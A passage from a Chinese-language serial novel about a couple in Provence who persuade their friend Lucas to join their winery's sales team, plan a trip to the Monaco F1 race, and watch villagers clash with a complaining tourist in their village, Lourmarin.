“我比你更久戈尔德的活动结束,我马上接了帕特里西亚小姐的订单,又忙了半个多月,一直到我们准备结婚才好一点。” 她用严肃的语气对罗南说: “好神奇,我刚刚在想,如果未来还有类似的活动,我是不是还会继续那么拼命,内心的答案非常清晰——不会,才过了几个月,我的心态怎么会变了那么多呢?” 罗南也严肃下来,看着前方正色道: “我刚刚也问了自己同样的问题,答案也是不会.即使有一万件事情等着我去处理,我也要安安心心的把晚饭吃了,出去骑一骑车子,晚上再抱着你一起看星星。” 两个人同时扭头看向对方: “这是为什么?” 坦白讲,这种心理在普罗旺斯非常常见。 95%以上的普罗旺斯人都是这种‘及时行乐’的随意心理。 赚钱重要,吃喝玩乐更重要。 但罗南和佐伊不是这种人,至少几个月前不是这种人。 他们以前还讨论过这个问题,说以后要努力努力再努力! 奇怪了,心态怎么突然就变了呢? 小情侣讨论了整整一路,也没有讨论出什么所以然来。 由于堵车原因,罗南和切尔诺约定的是,等他们到了尼斯,再让他过来见面。 在路边找电话亭通知了切尔诺见面地点,之后罗南、佐伊和卢卡斯带着四只狗找了一个海边露天的咖啡厅坐下来等人。 卢卡斯一根又一根的抽烟,四只狗玩的不知天地为何物,罗南和佐伊则开心的天南地北找事情讨论。 可一个多小时过去,酒喝了好几杯,依然没有见到切尔诺的影子。 卢卡斯脚边的烟头密密麻麻一地,过程中不停焦急的看手腕上的指针。 四只狗也脱离了来到新环境的亢奋状态,依偎到一起打起了盹,只是偶尔有游客发出‘嘬嘬嘬’的声音才会懒洋洋的睁开一只眼睛。 罗南和佐伊依然聊的火热,两个人从身后的大海聊到头顶的遮阳伞,又从手里的酒聊到对方的眼睛.似乎永远有聊不完的话题。 卢卡斯实在憋不住了,问他们: “你们怎么能聊那么久啊?眼睛和伞有什么好说的?” 这不就是普通到不能再普通的东西吗! 罗南突然发现,他冷落了卢卡斯,赶紧端起酒杯和他说: “那你和我们一起聊吧,聊些咱们三个可以聊的话题,切尔诺说他手头有点事情要忙,得四五十分钟才能到,别着急,咱们先坐一会。” 卢卡斯敲着手腕上的表说: “可现在已经过去一个多小时了。” “啊?一个多小时了吗?”小情侣同时惊呼。 罗南看着佐伊美丽的眼睛,意外的说: “我以为才过去二十分钟。” 佐伊摸着帽檐笑着说: “一定是因为你刚刚讲的那几个笑话太有意思了。” 罗南突然大惊失色的伸出手指,指向佐伊的身后: “快看!消防飞机把游泳的人卷走了!!” “哪里哪里?你讨厌!又戏弄我!!” “哈哈,还不是因为你太可爱了,我忍不住总是想要逗你。” 佐伊和罗南的对面。 卢卡斯一脸黑线。 拿我也当狗了? 强往嘴里灌狗粮?? 罗南和佐伊又打打闹闹了一阵子,才发现面色不太好看的卢卡斯。 罗南不好意思的清了清嗓子,给卢卡斯解释: “那个,其实我和佐伊在找答案,一个和我们有关的答案。” 卢卡斯看了这么久的戏,自然知道他们说的是什么。 对面两个人就是从‘我们为什么同时变了’这个问题开始聊起,发散成现在这个样子。 不过这是人家小情侣之前的私密事情,他也不好说什么。 卢卡斯只是好奇——为什么对面这两个人完全不着急,那个叫切尔诺的家伙迟到了这么久,怎么还是一副笑容满面的样子呢? 脚下的狗都等累了! 不想把卢卡斯隔离在外,罗南和佐伊主动和卢卡斯聊了话题。 可能是狗粮吃多了,卢卡斯觉得自己在这里多余,于是让他们不用管自己,继续聊刚才的。 罗南是那种人吗? 和佐伊一唱一和的给卢卡斯讲起了‘情景剧’。 “哎,卢卡斯,你身后来了一个穿着黑色皮裙的美女!”罗南捂着嘴说,“别回头啊,她正在看你。” 卢卡斯一点回头的兴趣都没有,而是看向罗南身边的佐伊。 不是兄弟这话题能聊吗? 但让人意外的是,佐伊也压低了声音给卢卡斯讲解道: “是一个男生骑摩托车载她来的。” 罗南眯起眼睛观察: “一个开川崎750的小伙子,那小伙子还在看着她,不过这位美女头都不回的就进来了,哎.原来不是在看你,而是在找朋友。” 佐伊也努力观察: “她的朋友似乎是一桌意大利人?” “嘶——”罗南倒吸一口凉气,“这女孩是法国人吗?她居然和这一桌人行了四次贴面礼,上帝,四次,那是我见过最多的次数了。” 卢卡斯皱起眉头。 回忆哪里的人会进行四次贴面礼。 “可能也是外国人吧。”他回答道。 这个季节在尼斯的海滩边上出现几个外国人太正常了。 佐伊撑着脑袋继续给卢卡斯解说: “应该是意大利人,她点烟的姿势一看就是意大利人,嗯,没有点酒,而是喝了水,绝对不是法国人。” 罗南压低了身子,从一个刁钻的角度看卢卡斯身后: “不过这女孩真漂亮啊,你看看她的举手投足,看她将墨镜放到头顶的样子.诶,5月是不是有戛纳电影节?她不会是个外国明星吧?” 卢卡斯开始补脑他们嘴里那个女生的样子,正当他刚描绘出一个轮廓时,罗南突然小声惊呼: “卢卡斯卢卡斯,她又看你了,刚刚一定是在看你!上帝,你们是不是认识?” 佐伊紧张的坐直身子,用唇语说: “她过来了。” 卢卡斯赶紧把烟放下,缓缓的扭头。 意大利的漂亮女孩子? 我那该死的雄伟背影将她迷住了吗? 但卢卡斯扭头,发现身后根本没有什么美女,更不要提什么意大利人。 可能是回头的太突然、眼神太炙热,他身后一个穿着波点比基尼、皮肤松松垮垮、抱着游泳圈的白头发老妇人给了卢卡斯一个飞吻: “你好啊,小伙子。” “哈哈哈哈——”罗南和佐伊笑着抱到一起。 一个笑着抹眼泪,一个笑到直不起身子。 卢卡斯咬着后槽牙看他们。 恨不得抢过老妇人肚子上的游泳圈把这两个该死的家伙锁到一起! 第451章 十足的默契 等待的时间对卢卡斯来说是煎熬,对罗南和佐伊来说只是换了一个环境做平日里每天在做的事情。 自从开始准备结婚,罗南和佐伊就过起了形影不离的日子。 罗南接手斯特斯加后,两个人合体的时间更长了。 工作的同时还能‘谈情说爱’,这是多么幸福的事情啊为什么要着急? “喝酒。”罗南笑容满面的要了今天的第三瓶粉红酒,倒酒的时候他特意敲了敲瓶子,“感谢卢卡斯!” 罗南不清楚这家咖啡厅之前供应的是哪个牌子的粉红酒,但未来尼斯出现的每一瓶斯特斯加粉红酒,都有卢卡斯的功劳了。 见切尔诺迟迟不出现,卢卡斯也加入不进去他和佐伊的交谈,罗南起了一个和工作有关的话题: “我们聊聊待遇吧?” 这一个多月,卢卡斯始终在免费干活。 好几次罗南在电话里和卢卡斯提起给报酬,卢卡斯总是说不着急,见面再说。 见完切尔诺,罗南就又要和卢卡斯分别.今天总该聊聊这个话题了吧? 坦白讲,卢卡斯当时说要给斯特斯加帮忙,完全是出于帮罗南‘撑腰’的心理,根本没想过赚钱的事。 谁不知道粉红酒在普罗旺斯是什么情况啊能赚多少钱? 但通过在马赛和尼斯的经历,卢卡斯觉得粉红酒在普罗旺斯绝对有潜力,而且是不小的潜力,尤其是海边的这些旅游热门城市。 卢卡斯在非松露采摘季没有收入,经历了这两年的起起伏伏,说没有经济压力是假的。 虽然这次有政府的助力、有被幸运女神眷顾的罗南加入,但谁能保证这一次人工培育松露就一定会成功呢? 更严峻的是玛格丽特退休后,苏菲是否能成为一名出色的松露犬有待确认。 万一和罗南那两个不争气的儿子一样怎么办? 万一没有玛格丽特的鼻子厉害又怎么办? 以上种种原因,都推动着卢卡斯找寻另外一件可以赚钱的营生。 不过鉴于他‘老大哥’的身份,和罗南聊钱他不好意思开口,就这样一直拖到了此刻。 罗南又一次主动提起,但好面子的卢卡斯还是坚持说: “不着急,等他们找你买酒的时候再说。” 现在卖掉的每一瓶斯特斯加粉红酒都和罗南没有关系,钱进的都是杰罗姆的口袋。 要等到卢尔马兰的酒窖建好,罗南才能从中获利。 罗南太了解卢卡斯的性格了,可以说卢尔马兰最了解卢卡斯的就属罗南。 几个月前经济压力那么大时,卢卡斯都不肯和家人说哪怕一句,如果不使用点手段,骄傲的卢卡斯绝对不会轻易收下罗南给的报酬。 “你在尼斯住宿的钱、请客户吃饭的钱和未来去其他城市产生的费用都不要了?”罗南开玩笑的问。 卢卡斯喝了一口粉红酒,无所谓的说: “那能有多少钱,不用给了。” 罗南笑着撇嘴: “别起这个不好的头,你有钱,这些钱对你来说不算什么,出了就出来,但未来其他去做市场的人产生了差旅费用,难道也都自己承担吗?” 罗南一边摇头一边叹气: “特奥可没有你这么厚的家底,你应该知道他的性格,如果让他知道你是这样做的,他即使去借钱也不肯收我一分,那不就乱了吗?” 卢卡斯意外的看向罗南: “特奥也要去开拓市场?” 罗南点头: “是的,特奥口才好,人也会来事,而且你一个人没办法负责全部普罗旺斯,之前的斯特斯加负责开拓市场的团队有3、4个人呢,等过一阵子厂房建的差不多了,我就让他过来帮你。” 农夫们勤劳朴实,但普遍不会说话,也没有什么见识。 平时打打嘴炮可以,但让他们去应酬,去见客户可太困难了。 不止是斯特斯加内部,放眼全卢尔马兰,也只有卢卡斯和特奥这两兄弟见识和眼界比较拔尖。 好兄弟特奥一直想跟着哥哥卢卡斯一起干点什么,既然现在有机会,罗南当然要成全他了。 而且这个成全很可能是‘彼此’.罗南知道卢卡斯也非常在意这个弟弟。 把特奥搬出来,果然管用。 卢卡斯没有再反驳,只是一味的抽烟想事情。 罗南把早就准备好的理由搬出来: “种植园负责人、酿酒负责人和市场负责人是斯特斯加最重要的三个身份,现在前两个空缺,能帮我的只有你.除了特奥,之后你再挑一个机灵的兄弟,你们这个部门全部是底薪+业绩提成的形式,我问过杰罗姆,能赚不少呢。” 见卢卡斯还是没反应,罗南拍着他的胳膊说: “你这个老大哥起好作用,特奥也能多赚点,安娜说想要成为和佐伊一样的优秀艺术家,你应该知道特奥的性格,就算是‘砸锅卖铁’也要帮女儿完成梦想,但成为艺术家的投入太大了。” 佐伊很有默契的和罗南配合起来: “太多艺术家因为经济压力而放弃了他们的梦想。” “对啊!”罗南情绪激动的说,“特奥现在就开始给安娜找艺术培训老师了,孩子还小,不知道对什么感兴趣,什么画画、音乐,雕塑他全部安排了一遍让安娜试试,这得多少钱?你好好带着特奥赚钱去,让他的家底和你一样厚才行!” 佐伊用喝酒来掩饰自己的表情。 罗南才应该去应酬开拓市场.忽悠的本事越来越熟练了。 特奥不过是把安娜送来餐厅和艺术家们玩过几次,什么时候收过他的钱啊。 不过见罗南向她发来‘助攻’的眼神,佐伊还是昧着良心说: “我听说艾克斯那边,面向10岁以下孩子的艺术培训班一节课要150法郎/2小时,高级一些的要300法郎,如果是知名老师上课数字将——” 罗南也憋着笑喝酒。 他和佐伊越来越有默契了! 佐伊在艺术方面有绝对的话语权,罗南和她的配合也天衣无缝。 不过几分钟的时间,卢卡斯又一次进入了两个人的‘陷阱’,表情凝重的说: “这个特奥,有这么大的经济压力为什么不和我说?” “还不是跟你学的?你没发现吗,特奥在处处模仿你!”罗南举起杯子和卢卡斯碰了一下,“但如果你干得好,特奥也一定会牟足了劲追赶上你,这事就这么定了啊,未来你带着特奥一起干。” 佐伊从包里拿出纸笔,熟练的说: “把你的身份卡给我,我给你上这个月的保险,对了,住宿和吃饭记得开发票,下次带来我都给你报了。” 卢卡斯皱着眉头打量对面的两个人。 他怎么又有一种被骗了的感觉呢? 约两个小时后,切尔诺才姗姗来迟。 这个家伙见到罗南不停的道歉,说报社临时有急事需要处理,耽误了时间,鞠躬鞠的脑袋都充血了。 该死啊,怎么能让这位大人等了这么久? 伊内斯不会要把我开了吧? 切尔诺的人脉是帮助卢卡斯开拓尼斯市场最重要的助力。 在卢卡斯的眼中,切尔诺才是那个大人物。 见大人物对罗南的态度如此尊敬和小心,更加坚定了他要加入斯特斯加和罗南一起干的信心。 给罗南这小子当‘小弟’,绝对不丢人! 罗南自然不知道卢卡斯那么丰富的心理活动,他这次是专程来感谢切尔诺的。 “无论用什么言语、请你吃多少顿饭都不足以表达我对你的感谢,我马上会和伊内斯一起去参加摩纳哥F1大奖赛,到时候一定要在她面前好好的夸一夸你,切尔诺,真的太感谢你了!” 闻言,切尔诺鞠躬鞠得更加卖力了: “罗南先生,这多不好意思,这多不好意思.” 主编要带罗南去看F1? 这更加彰显他们之间的关系亲密了! 他激动的对卢卡斯说: “这位先生,我会再给你多介绍一些人!” 卢卡斯的表情比切尔诺还要‘兴奋’。 什么? 罗南要去现场看F1了?? 切尔诺很忙,待了一会便离开。 罗南和佐伊没有着急离开,又和卢卡斯待了一会。 “你要去摩纳哥了?”卢卡斯‘吃醋’的问。 现场看F1是每一个普罗旺斯男人的梦想,想一想那些赛车在自己面前呼啸而过的样子和声音,就会让人血液沸腾。 卢卡斯每一年都会四处打听门票,但又每一年都扑空。 那根本不是用钱能买到的东西,只能用‘社会地位’。 罗南笑着拉住佐伊的手: “对,我和佐伊一起去。” 卢卡斯心里更难受了。 不仅自己去看,还能拖家带口一起? 实话实说,罗南混的好,卢卡斯打心眼里开心。 但一想到去年的罗南,再想想如今双方的差距心里多少还是有点‘难受’。 卢卡斯没有再接话,低头继续喝酒。 不过这一点没有影响小情侣继续刚刚的话题,无论起什么头,他们都能愉快的聊下去。 佐伊开心的回拉住罗南: “去摩纳哥的日子马上就要到了,我们是不是应该为此做些准备?” 罗南脱口而出: “什么准备?” 法国与摩纳哥的关系堪称‘不分你我’,法国人去摩纳哥的流程比在巴黎坐地铁还简单。 做地铁还需要买票,去摩纳哥连盖章都省了,根本不需要护照。 这两个国家的货币也是通用的。 还需要准备什么? 佐伊点了点罗南的墨镜,又点了点他的衣服: “我们应该多准备一些情侣配饰,不同款式,但让人一看到就知道我们是情侣关系的那种别有心思的搭配。” 佐伊一点都没把这次摩纳哥之行当作工作,只当是和罗南要去旅行了。 罗南热情的回应: “好啊,你想怎么搭?” 佐伊看了看两侧的建筑: “我记得这周围有几个百货商场,我们一会去逛一逛?” 罗南拍手称快: “可以!我好久没有陪你逛街了,今天多买点回去!” 罗南和佐伊很努力的想要带着卢卡斯一起聊天。 但聊着聊着,两个人就进入了自己的频道,让旁人无法插话进去。 不过这完全不是故意的,是自然而然的。 聊了一会,罗南又一次发现冷落了卢卡斯,赶紧把话题移过去: “卢卡斯,你想要摩纳哥那边的什么东西吗?我给你带回来。” 尼斯距离摩纳哥只有20多分钟的车程,去摩纳哥来回都会路过尼斯,罗南想给卢卡斯带点东西。 卢卡斯拿出了烟盒里的最后一根香烟,笑着放到嘴里,但没有着急点燃: “我猜,我知道那个问题的答案了。” “什么问题的答案?”罗南和佐伊同时问。 卢卡斯把玩起手里的火柴: “你们的心态为什们突然变了的答案。” “为什么?”小情侣再次默契的同时开口。 他们讨论了这么久都没发现答案卢卡斯能知道? 卢卡斯点燃了香烟,连抽两口之后才开口: “你们习惯了生活中有彼此、即使工作也是在一起的状态,所以想到要独自面对枯燥的工作会下意识的抗拒,觉得无法接受了。” 为什么等待的2个小时罗南和佐伊不着急? 因为他们只是换了个地方谈恋爱而已。 聊喜欢的话题,吃同样喜欢的东西,默契的恶作剧卢卡斯相信,今天的这几个小时是罗南和佐伊前几个月生活的写照。 过惯了甜蜜的日子,怎么可能还想去吃苦呢? 罗南和佐伊先是面面相觑,随后又同时笑出声来。 他们不知道卢卡斯说的对不对,这个问题很难有标准答案。 但他们喜欢这个答案! 卢卡斯放了一张纸币到桌子上,叼着烟站起来伸了个懒腰,之后对罗南说: “你这臭小子有太多让我‘嫉妒’的东西,你比我本事大,比我能赚钱,比我朋友厉害,还能去看F1但相比较那些,我最嫉妒的就是你小子能有这么幸福的婚姻。” “宝贝女儿,我们走吧,不要耽误他们继续谈恋爱。”卢卡斯对罗南和佐伊挥了挥手,“7月份你们的婚礼我一定会送去一份大礼。” 卢卡斯离开,忍了许久的罗南和佐伊终于不用控制彼此,甜蜜的亲到了一起。 这就嫉妒了? 可我们一直在克制啊! 在他们脚下,玛格丽特发出痛苦的‘哀嚎’。 抗议! 只管人谈恋爱,不管狗的吗? 我和小黑还没待够呢! 罗南和佐伊依依不舍的分开,看向脚底的玛格丽特。 “要不然让玛格丽特跟我回去?”罗南见卢卡斯一副要吃人的表情回头打量自己,赶紧改口,“那要不然让小黑跟你待在尼斯?” 一直异地恋也不是个事儿啊! “不用,我们一家很快就要搬回卢尔马兰了。”前方出现卢卡斯略显兴奋和期待的声音,“还是说,斯特斯加不需要坐班?” 第452章 新老朋友齐相聚 卢尔马兰政府给斯特斯加提供无偿援助时曾经提过三个要求。 努力经营好斯特斯加肯定是其中之一。 第二个要求是给本村创造尽可能多的工作岗位,至少80%以上的岗位留给本村村民。 第三个要求是,如若经营不善经历裁员,也必须把本村村民留到最后。 ‘本地雇佣优先’条款在大城市不常见,但在吕贝隆非常普遍,因为这里人口外流现象严重,青年劳动力只要有本事都会离开家乡出去赚钱。 因此,政府给予企业补贴时一定会绑定就业附加条款,以留下年轻劳动力。 有极端一些的政府甚至要求只能在本地招工,特殊情况,须证明‘本地无适合人才’才可以聘请外村员工。 虽然卢尔马兰政府相对仁慈,但罗南的斯特斯加酒庄还是要尽可能的在卢尔马兰寻找精兵强将。 在没有找切尔诺帮忙前,卢卡斯便利用自己的人脉在马赛提高了斯特斯加的市场占有率。 凭借其广交朋友、逢人必抢着买单、从不让兄弟吃亏的‘老大哥’性格,罗南相信他是斯特斯加市场负责人的不二人选,这个职位非他莫属。 老大哥能来斯特斯加是罗南的荣幸。 什么坐班不坐班的,都是无关紧要的东西,他想住在马赛或者尼斯都可以。 但卢卡斯要搬回卢尔马兰的决心是坚定的,也是认真的。 不是开玩笑,也不是说说而已。 那之后罗南和卢卡斯通了一次电话,卢卡斯在电话里说,现在的卢尔马兰非常热闹也很美丽,在某些层面比那些大城市更加宜居,最重要的是。这里的未来充满积极向上的未知。 他们一家人在外面看够了、体会过了,是时候返回家乡好好生活,这是他和老婆、儿子一致的决定。 “别的村子是人口流失,想方设法去大城市过好日子,但最近许多在外打工或者漂泊的卢尔马兰人都回来了。” 皮埃尔是村子里消息最灵通的那一批人。 听到罗南讲述卢卡斯一家要搬回卢尔马兰、不再两地跑的消息,也说出了他听到的其他类似的事情。 “还有谁回来了?”罗南抬眼看过去,好奇的问。 太阳下山后,罗南通常会和兄弟们喝几杯。 佐伊也习惯在这个时间和艺术家们见见面、聊聊天。 因为白天他们没有了深聊的机会,除非去对方家里。 无论是商业街还是其他道路上的餐厅、咖啡厅或者酒馆都被外地游客占据了。 就连科莫那半死不活的老酒馆白天都没有空余位置。 以前憋不住的农夫会拿着啤酒当街聚在一起。 今年政府多次教育村民保持村庄风貌的重要性,也有越来越多的人靠着旅行季赚到了钱,大家都自觉的不在街头聚众喝酒,只能等太阳下山,游客大军开车离开卢尔马兰后才能碰头好好喝两杯,聊聊感兴趣的事情。 不过这个时间段,罗南的餐厅依然一桌难求,这所卢尔马兰最著名的餐厅生意太火爆了。 游客中心的游客留言板上,有大量游客留言,希望罗南的中餐厅能拉长经营时间,排了许久最终没进去的感觉实在太恼火了。 昆西临走前特意嘱咐卢尔马兰政府,不要因为等位时间太长而引起什么游客投诉。 俗话说得好,拿人手短。 旅游局的建议必须听取! 在政府多次动员后,罗南终于同意把晚上的打烊时间挪后一个小时。 不过这并没有解决本质问题,排队的人数丝毫没有减少,抱怨的游客也依然不在少数。 为了尽快让罗南开二店、为了开设更多的商业设施以接纳游客,政府只能加速商业街二期和三期的建设进度。 在卢尔马兰外围,那些挖掘的机器和工人已近乎变成了24小时轮班制度。 这不,今天大伙在罗南餐厅门口等了一阵子,还是没有空出座位,无奈只能来到老酒馆。 罗南好久没来‘快乐老家’,也跟着一起过来了。 皮埃尔拎着啤酒瓶子,回答罗南的问题: “老卡尔的儿子回来了。” “卡尔的儿子回来了?”罗南意外的坐直身体。 老卡尔年纪大了,腿脚一直不太好,拐杖不离身。 年初大降温后旧疾犯了,那之后很少出来聚会,不过这帮朋友定期会去他家喝一次。 算算时间,上次罗南见老卡尔是在复活节之前。 那次见面时,老卡尔和她的妻子并没有提起儿子要回卢尔马兰的事情。 一道妖娆的身影随着音乐扭了过来,特奥抖动着肩膀说: “而且不止一个呢,老卡尔的两个儿子都回来了。” 这个消息让罗南更加意外。 卡尔有两个儿子,两个都非常有出息。 大儿子西森奥是一位医生,在隔壁省工作,小儿子乔伊在鲁西永当老师。 “他们现在的工作挺好啊,回来干什么?”罗南皱着眉毛问,“你们是不是听错了?是回来看老卡尔吧?” 村子里人多口杂,经常传出些让人啼笑皆非的事情,例如罗南家那几个皮尔卡丹老爷子设计的马桶,就有许多不同的故事版本。 卡尔两个儿子的工作无论在哪个年代和哪个地区都是称得上是好工作。 干得好好的,回卢尔马兰干什么? “西森奥一家已经回来了,搬家的车来了两辆呢。”皮埃尔给罗南描述那天的场景,“两辆车装的连一根头发都塞不进去,像是把一整个家都装过来了。” “西森奥搬去老卡尔家住了?”罗南啧啧称奇的问。 在普罗旺斯,结婚后还和父母一起生活的孩子很少了。 皮埃尔放下酒瓶子: “现在房价太贵,西森奥打算观望一阵子,先和父母住,还好卡尔家比较大,要不然肯定装不进去那么多东西。” “等乔伊搬回来,再大的房子也装不下了。”特奥又随着音乐扭走了。 皮埃尔耸肩: “乔伊才刚结婚,没有那么多东西,同样的,他应该也没有他哥哥有钱,大概率也是先去卡尔家住,人多热闹,卡尔家的房子太大了。” “两个愚蠢的家伙,以为回卢尔马兰可以赚到更多的钱吗?”亨利扇动着他的船长帽愤愤不平的说,“这些唯利是图的家伙是‘金钱探测器’,哪里有钱他们去哪里,来和我们抢工作了!” 罗南笑着对亨利扬了一下手: “也许他们和卢卡斯一样,觉得卢尔马兰更加宜居了呢?卢尔马兰现在建设的多好啊,回来也是有情可原的。” 卢卡斯回来了,老卡尔的儿子们回来了,还有即将搬来的布鲁诺一家子罗南相信会有更多新老朋友搬来这里生活。 这是好事啊,未来的日子只会更加热闹。 “卢尔马兰哪儿好啊?”亨利拍着桌子说,“白天连一个喝酒的地方都没有,这里明明是我们的家乡,却每天过着抱头鼠窜的日子!” 事实上已经有不少卢尔马兰村民理解和认同了旅游季对大家生活的影响和帮助,但他们的嘴并不想承认这一点。 设想一下,去年还大骂游客是强盗的人,今年夸夸其谈说欢迎游客常来,是多么滑稽的事情? 以亨利为代表的‘外乡人强盗论’者张不开这个口。 “我白天都不敢出去,人太多了,卢尔马兰一点都不好,哪里宜居!” “以前买面包只需要5分钟,现在50分钟都不一定能买到一根,真让人头疼。” “如果是我,已经出去了,绝对不会再搬回这里。” 在这一点上,特奥和亨利难得的统一了态度。 不过特奥不是‘心口不一’,而是习惯性的想要找寻优越感。 特奥一边跟随音乐扭动身体,一边滑稽的模仿游客拍照和比耶的样子: “那帮外地人见识太浅薄了,在葡萄园前面拍照拍个不停歇,那有什么好看的?我跟你们说,卢卡斯带我去过威禾逊峡谷,那里才叫好看呢,那是欧洲最大的峡谷,从远处看过去像是在石灰岩上划开了一条长达25公里的口子,里面还有普罗旺斯最稀缺的圣十字湖,拿着啤酒看着面前的湖水和峡谷啧啧啧,那才叫旅游!” 罗南完全不理会周围人的态度,不以为然的耸肩: “反正我喜欢卢尔马兰,我觉得这里是最好的。” 罗南餐厅门口终日不见尾巴的大长队是政府最担心的事情,万一有所疏忽很有可能会接到投诉,因为那队伍实在太长了几乎每天都有游客因为排了许久,但没有在打烊前进去而在门口闹情绪。 以前,卢尔马兰什么都没有,投诉就投诉了,告到沃克吕兹省都不在乎。 但现在什么都有了,人就会变得谨小慎微起来,生怕一个不注意,好不容易得到的关注和口碑‘付诸东流’。 每一天希尔维都会派人去商业街上帮助罗南的店员一起维持秩序,还会提供一些免费的纪念品。 不过好消息是,罗南原本就在这方面做足了准备。 门口有免费的水果和水提供,时不时的还会端出来一些面包和甜品试吃,安抚等位游客的情绪。 如果打烊时有游客因为没有进去而闹情绪,罗南或者佐伊一定会亲自来安抚大家。 听说还有佐伊的狂热粉丝特意制作这个机会,为了和偶像拍照留念呢。 希尔维把全部的注意力都放在罗南这里,没想到,旅游季开始后第一次重大的游客投诉事件居然出现在其他的地方——距离罗南餐厅不到五十米远的酒店里。 卢尔马兰只有一家酒店,其余全部是民宿的形式。 说是民宿,其实和‘寄宿’差不多。 热情的卢尔马兰居民不只提供给游客房间,如果你足够幸运,甚至可以免费跟着他们吃一日三餐。 和本地人实打实的生活在一起,游客可以更加快速的认识卢尔马兰和这里的风貌,说不定还能收获一段友谊。 但居住在酒店,就需要游客自己去摸索卢尔马兰的真实样子了。 而这一次投诉的原因,就是某一位从北方来的游客控诉卢尔马兰完全不适合北方人的体质。 “我整整呕吐了三天,你们的饮食和水源一定有安全问题,我在家里从来没有病得这么严重过,这将我之后的行程全部毁了!” 酒店门口,一位头发褐色的女士一边呻吟一边说出了如上的言论。 这种场面在普罗旺斯出现,连厕所门口等位置的人都会夹紧了阔约肌过来看热闹。 酒店老板终于体会了一把罗南的感受,门口全是人,不过他一点都不开心: “女士,你是不是来卢尔马兰之前吃坏了东西?” 那位游客似乎暂时性的聋了,对着台阶上的希尔维继续控诉: “我的投诉还要再加一条,第七条投诉,这里居然没有医院也没有药房,知道我说自己不舒服时,你们的村民给我的解决办法是什么吗?她居然给我倒了一杯橄榄油,那让我的胃更加难受了,你们这里的人还生活在中世纪吗?” 希尔维谨慎的安慰她: “诊所和药房正在修建中,几个月后就可以投入使用,我先带你去梅纳村看下医生?” 那游客捂着胃部说: “我每时每刻都想吐,让我坐车会加速我的不适!” 希尔维对身边已提前转正的康蒂娜说: “快去把西奥森叫来。” 说完,她主动搀扶住那位游客的胳膊: “虽然诊所还没建成,但我们有自己的医生,医生马上到,我先扶你进去。” 那游客挖苦道: “你们的医生?恐怕和这里的食物和水源一样没有保证吧?” 人群里。 罗南不禁攥紧了拳头。 希尔维安抚她许久了,也提出了许多建议,但这人就是一味的发泄情绪,不肯解决问题。 你病了,我理解你心情不好,但不能不分青红皂白的诋毁卢尔马兰啊。 罗南决定,如果这位女士再口出狂言,他就要做点什么了。 下一秒,一道尖酸刻薄至极的声音从另一侧人群里出现。 “橄榄油都不适应,你来卢尔马兰干什么?滚回你的北方去啊。”亨利龇牙咧嘴的说。 那游客马上怼回去: “你以为我想来吗,还不是你们在全国范围宣传虚假广告把我骗来了?这里的每一道食物都充斥着恶心的香料气味,我们习惯清淡饮食的北方人肠胃完全不能适应,再加上这里让人堪忧的食品安全问题——” 另一道声音又回怼了她: “你是‘山猪吃不了细糠’吧?我和几百个北方人吃过饭,全都没出问题,甚至还能一边吃你口中的口味浓烈的食物一边喝冰镇粉红酒,怎么就你出问题了呢?” 特奥欠欠的冷笑了两声: “真是丑人多作怪,我看你不是胃不舒服,是心里不舒服吧?我呸,心坏死了。” “你还好意思提酒?你们这里的酒太粗糙了,没有北方的精细雕琢——” “北方的屎也是香的呗?” “我们世世代代喝的酒到你嘴里成垃圾了?” “卢尔马兰每一个家庭吃的都是最新鲜的食物,放过三天的菜我们全部扔了喂猪,请问你们北方呢?” 那游客说不过众人,开始扇动其他游客的情绪: “大家快来看啊,看看这里的村民是如何推卸责任的!杂志上居然宣传卢尔马兰是吕贝隆最有潜力的村子,这简直太可笑了!” 特奥瞪大眼睛怒吼: “用的着杂志说吗?卢尔马兰是就是吕贝隆最好的村子,山好水好人好,不喜欢就离开这里!” 罗南看的目瞪口呆。 这会说话的全都是之前说卢尔马兰这不好那不好的村民。 天天吹嘘卢卡斯带他去过的哪里哪里,比卢尔马兰好一万倍的特奥,居然说卢尔马兰是就是吕贝隆最好的村子? 合着你们自己能说卢尔马兰不好,但容不下别人说卢尔马兰一个不好的单词? 农夫们嘴贱,那游客又咄咄逼人。 现场越来越混乱,有刚来的游客弄不清楚状况,也开始跟着心里犯嘀咕了。 普罗旺斯真的不适合北方人的体质吗? 就在此刻,一道尖锐的声音从远处传来,只是一句话就让这里的人群散去。 “夏洛特·维吉妮来了!夏洛特·维吉妮来卢尔马兰了,她在看这里的房子!” 夏洛特·维吉妮是80年代法国著名的歌手和演员。 听说大明星来了,连那位胃痛的游客都跑去看明星了。 人群来的快,去的也。 不到一分钟,原地只剩下了寥寥几人,和刚才相比略显寂寥。 闻讯而来的西森奥,失望的对罗南耸了下肩膀: “我以为到卢尔马兰后的第一个病人出现了。” 见罗南表情不大好,以为他是在意那游客口无遮拦的话语,西森奥走过来安慰: “夏洛特·维吉妮是北方人,她都来这里看房子了,无论最后买还是不买都能证明北方人可以适应南方,难道大家不看名人的选择,只听素人的抱怨吗?不要担心,你的餐厅和酒庄都不会受影响的。” 罗南突然扶住心口位置,表情更加狰狞。 西森奥兴奋的问: “你怎么了?也哪里不舒服吗?” 罗南的心‘痛’死了。 大明星在卢尔马兰投资房产,一定会让这里的房价继续攀升。 但我还没有买商铺! 你怎么非要这个时候来啊,大明星! 第453章 几个小目标 普罗旺斯人不欢迎来自世界各地的游客。 但他们欢迎来自世界各地的名人。 没错,就是这么区别对待。 得知夏洛特·维吉妮来卢尔马兰看房子的消息,罗南的朋友们马上组织了聚会。 这是多么值得庆祝一下的事情啊,怎么能不为此喝一杯呢? 聚会地点定在老卡尔家。 除了联络感情,这位卢尔马兰的前村长也想正式通知朋友们——他的两个儿子决定回卢尔马兰发展了。 如果在一天前,西森奥和乔伊一定会成为聚会的焦点。 连罗南都想问问他们是出于什么原因做下这个决定的。 但遗憾的是,夏洛特·维吉妮来卢尔马兰看房子的消息实在太炸裂了。 这毫无疑问会是全部卢尔马兰人今天茶余饭后的话题。 “来吕贝隆置业的名人明星有很多,两三年前金三角就用此为噱头宣传它们的大家庭加入了一个又一个重要的成员,但这是名人明星第一次来卢尔马兰看房子。”虽然已经过去了四五个小时,阿兰提到这件事仍然感觉到诧异和兴奋。 我要和大明星做邻居了? 老卡尔见多识广,是在场中比较冷静的几个之一。 “金三角之外的村子也有名人购置过房产。”他笑着用手背指罗南,“不记得了吗?罗南家马桶的设计师就买下了拉克斯特城堡,他在吕贝隆有许多房产投资,普罗旺斯是一片卧虎藏龙的地方,肯定有许多人在这里投资了,只是我们不知道而已。” 在场许多人默默点头。 